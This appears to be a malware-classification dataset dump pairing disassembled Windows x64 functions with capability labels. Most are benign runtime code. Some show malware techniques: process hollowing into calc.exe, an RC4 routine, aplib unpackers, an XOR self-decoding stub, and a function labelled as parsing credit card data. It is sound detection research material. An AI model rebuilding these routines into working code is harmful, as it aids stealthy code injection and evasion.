joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400136e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001dbc0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001dbc0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140013750
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140138144]
mov rbx, rcx
test esi, esi
jle 0x140013880
mov rax, qword [0x140138148]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001379b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140013825
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140013780
mov rcx, rbx
call fcn.1400141a0
mov rdi, rax
test rax, rax
je 0x1400138a2
mov rax, qword [0x140138148]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400142e0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140138148]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140013887
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001381e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140013830
add dword [0x140138144], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140138148]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001381e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400136e0
nop dword [rax]
xor esi, esi
jmp 0x1400137a8
mov rax, qword [0x140138148]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400136e0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400136e0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140013e10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1401381a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140138180]
test rbx, rbx
je 0x140013e6c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140013e63
test rsi, rsi
je 0x140013e63
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140013e48
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400141a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1401126c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400141c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400141c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400141c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001421d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140014214
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400141c0
add rax, 0x28
cmp rax, r9
jne 0x140014200
xor eax, eax
ret

Function at 0x140014220
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401126c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001423f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140014248
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001423f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400142e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401126c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400142ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140014308
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140081bb0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140081bf8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x140081bca
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400bc6b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14010bfa0]
jmp 0x140014ff0

Function at 0x1400bc6c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14010bfa0]
jmp 0x140014ff0
Function at 0x180820058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1808201df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180820089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18082006f
add dl, dl
jne 0x180820096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808200f6
xor eax, eax
add dl, dl
jne 0x1808200a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1808201ad
add dl, dl
jne 0x1808200b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808200c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808200d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1808200dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1808200ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18082007e
mov eax, 1
add dl, dl
jne 0x180820106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180820113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1808200fb
sub eax, ebx
mov ebx, 1
jne 0x18082014c
mov ecx, 1
add dl, dl
jne 0x18082012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18082013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180820123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18082007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180820168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180820175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18082015d
cmp eax, 0x7d00
jae 0x18082019b
cmp eax, 0x500
jb 0x180820196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18082007e
cmp eax, 0x7f
ja 0x18082019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18082007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1808201d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18082007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001a70
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
jmp 0x140001a8d
nop
dec eax
push rax
pop rax
cmp eax, ecx
call fcn.140001a99

Function at 0x140003b90
Capabilities:
Enumerate process modules
Link many functions at runtime
Parse pe header

Disassembly:
mov eax, 0x20d8
call fcn.140018db0
sub rsp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x80], rax
inc rax
cmp rax, 0x51
mov rax, rcx
mov rax, r8
mov rax, rcx
jmp 0x140003bc0
nop
cmp eax, ecx
cmc
cmp al, cl
mov rax, rcx
pushfq
cmp ecx, edx
popfq
call fcn.140003bd2

Function at 0x140006db0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 8]
mov qword [rsp + 0x50], rax
inc eax
dec rax
movabs rax, 0xa2701e4c8083d156
dec rax
cmp al, cl
call fcn.140006df5
Function at 0x14000a5d0
Capabilities:
Accept command line arguments
Parse credit card information
Parse pe header
Read file on windows
Set current directory

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x2350
call fcn.140018db0
sub rsp, rax
cmp rax, rcx
cmc
inc rax
mov rax, r8
cmp rax, 0xffffffffc77618f7
cmp rax, 0xffffffffda907c3f
dec eax
mov rax, r8
mov rax, r8
call fcn.14000a615

Function at 0x140019970
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400199ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400199ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400199ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400199ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400199ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400199bc
xor al, al
add rsp, 0x28
ret

Function at 0x14002e1d8
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14002dfc7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002dfc7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002dfc7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002dfc7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002dfc7
cmp dword [rcx + 0x84], 0xe
jbe 0x14002dfc7
cmp dword [rcx + 0xf8], 0
je 0x14002dfc7
mov ecx, ebx
call fcn.14002e0f8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14002dd44
cmp dword [rbp + 0x20], 0
je 0x14002e014
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002e01c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002df60
Function at 0x1407d3058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1407d31df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407d3089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d306f
add dl, dl
jne 0x1407d3096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d30f6
xor eax, eax
add dl, dl
jne 0x1407d30a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407d31ad
add dl, dl
jne 0x1407d30b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d30c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d30d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d30dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407d30ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407d307e
mov eax, 1
add dl, dl
jne 0x1407d3106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407d3113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407d30fb
sub eax, ebx
mov ebx, 1
jne 0x1407d314c
mov ecx, 1
add dl, dl
jne 0x1407d312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407d313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407d3123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407d3168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407d3175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407d315d
cmp eax, 0x7d00
jae 0x1407d319b
cmp eax, 0x500
jb 0x1407d3196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d307e
cmp eax, 0x7f
ja 0x1407d319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407d307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407d31d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407d307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400012d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x268
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0xffffffffffffffff
inc qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
cmp byte [rax + rcx], 0
jne 0x14000130e
mov rax, qword [rsp + 0x30]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x20], 0
jmp 0x140001340
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x100
jge 0x14000137f
movsxd rax, dword [rsp + 0x20]
movzx ecx, byte [rsp + 0x20]
mov byte [rsp + rax + 0x150], cl
mov eax, dword [rsp + 0x20]
cdq
idiv dword [rsp + 0x38]
mov eax, edx
cdqe
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x270]
movzx eax, byte [rdx + rax]
mov byte [rsp + rcx + 0x50], al
jmp 0x140001336
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
jmp 0x14000139b
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x100
jge 0x1400013fe
movsxd rax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x150]
mov ecx, dword [rsp + 0x24]
add ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x20]
movzx ecx, byte [rsp + rcx + 0x50]
add eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
lea rax, [rsp + rax + 0x150]
movsxd rcx, dword [rsp + 0x20]
lea rcx, [rsp + rcx + 0x150]
mov rdx, rax
call fcn.140001290
jmp 0x140001391
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0
jmp 0x140001422
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x280]
cmp dword [rsp + 0x28], eax
jge 0x140001504
mov eax, dword [rsp + 0x20]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
movzx eax, byte [rsp + rax + 0x150]
mov ecx, dword [rsp + 0x24]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
lea rax, [rsp + rax + 0x150]
movsxd rcx, dword [rsp + 0x20]
lea rcx, [rsp + rcx + 0x150]
mov rdx, rax
call fcn.140001290
movsxd rax, dword [rsp + 0x28]
mov qword [rsp + 0x48], rax
movsxd rcx, dword [rsp + 0x20]
movzx ecx, byte [rsp + rcx + 0x150]
movsxd rdx, dword [rsp + 0x24]
movzx edx, byte [rsp + rdx + 0x150]
add ecx, edx
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
movzx eax, byte [rsp + rax + 0x150]
mov rcx, qword [rsp + 0x278]
mov rdx, qword [rsp + 0x48]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x278]
mov byte [rdx + rcx], al
jmp 0x140001418
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400019b0
add rsp, 0x268
ret
Function at 0x1400017b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x118
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x100], rax
lea rax, str.C:WindowsSystem32calc.exe
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x80], 0x68
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000186b
mov eax, 1
jmp 0x14000197e
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rsp + 0x138]
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1400018a5
mov eax, 1
jmp 0x14000197e
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x138]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400018dc
mov eax, 1
jmp 0x14000197e
lea rax, [rsp + 0xf0]
lea rcx, str.QeeueaserePC
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 1
lea rcx, [0x1400032f8]
mov byte [rsp + rax + 0xf0], cl
mov eax, 1
imul rax, rax, 9
lea rcx, [0x140003848]
mov byte [rsp + rax + 0xf0], cl
lea rcx, [rsp + 0xf0]
call fcn.140001580
mov eax, 1
imul rax, rax, 5
lea rcx, [0x14000384c]
mov byte [rsp + rax + 0xf0], cl
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
lea rdx, [rsp + 0xf0]
lea rcx, str.kernel32.dll
call fcn.140001600
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.1400019b0
add rsp, 0x118
pop rdi
pop rsi
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400022ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400022ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400022ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400022ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400022ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400022bc
xor al, al
add rsp, 0x28
ret
Function at 0x14078feb0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14078feba
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14078fee3
pop rbp
sub rbp, 0x33
sub rbp, 0x78feb0
sub rsp, 0x20
jmp 0x14078ff02
add al, 0
add byte [rax], al
fsub dword [rsi - 0x38b73a4f]
sal byte [rax + 0x480078fe], 1
call 0xc5398058
add byte [rax], al
add byte [rax - 0x39], cl
rol dword [rdi + 6], 0
add byte [rax - 0x39], cl
ret 0xb736
mov rax, 0x78feb0
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0xffffffffa010b736
xor byte [rax], dl
inc rax
dec rcx
jne 0x14078ff21
jmp 0x14078ff38
jle 0x14078fef9
fistp qword [rbp + 0x36360abf]
jle 0x14078fefa
idiv dword [rsi]
invalid
Function at 0x14001cc40
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10090
call fcn.140047c90
sub rsp, rax
mov rax, qword [0x14005f010]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx edx, byte [rcx]
lea rbx, [rsp + 0x30]
xor eax, eax
mov rsi, rcx
mov word [rsp + 0x80], ax
mov word [rsp + 0x30], ax
lea edi, [rax + 0x28]
test dl, dl
je 0x14001cd02
nop dword [rax + rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14001ccad
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14001cca0
cmp rcx, 1
jb 0x14001cd5a
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14001ccd0
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14003b360
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14001cc90
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x14001cd33
lea rcx, [rsp + 0x80]
call fcn.14003cb28
jmp 0x14001cd35
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.14002c750
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.1400307e0
int3

Function at 0x14001cd60
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14005f010]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor eax, eax
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], ax
lea rbx, [rsp + 0x30]
mov edi, 0x28
mov dl, 0x4e
nop
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x14001cdbd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x14001cdb0
cmp rcx, 1
jb 0x14001ce37
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x14001cdd3
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14003b360
movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x14001cda0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14002c750
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.1400307e0
int3
Function at 0x14002d138
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002d182
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002d182
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002d182
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002d182
cmp dword [rcx + 0x84], 0xe
jbe 0x14002d182
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002d184
xor al, al
add rsp, 0x28
ret

Function at 0x140030b4c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400309ab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400309ab
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400309ab
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400309ab
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400309ab
cmp dword [rcx + 0x84], 0xe
jbe 0x1400309ab
cmp dword [rcx + 0xf8], 0
je 0x1400309ab
mov ecx, ebx
call fcn.140030a68
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
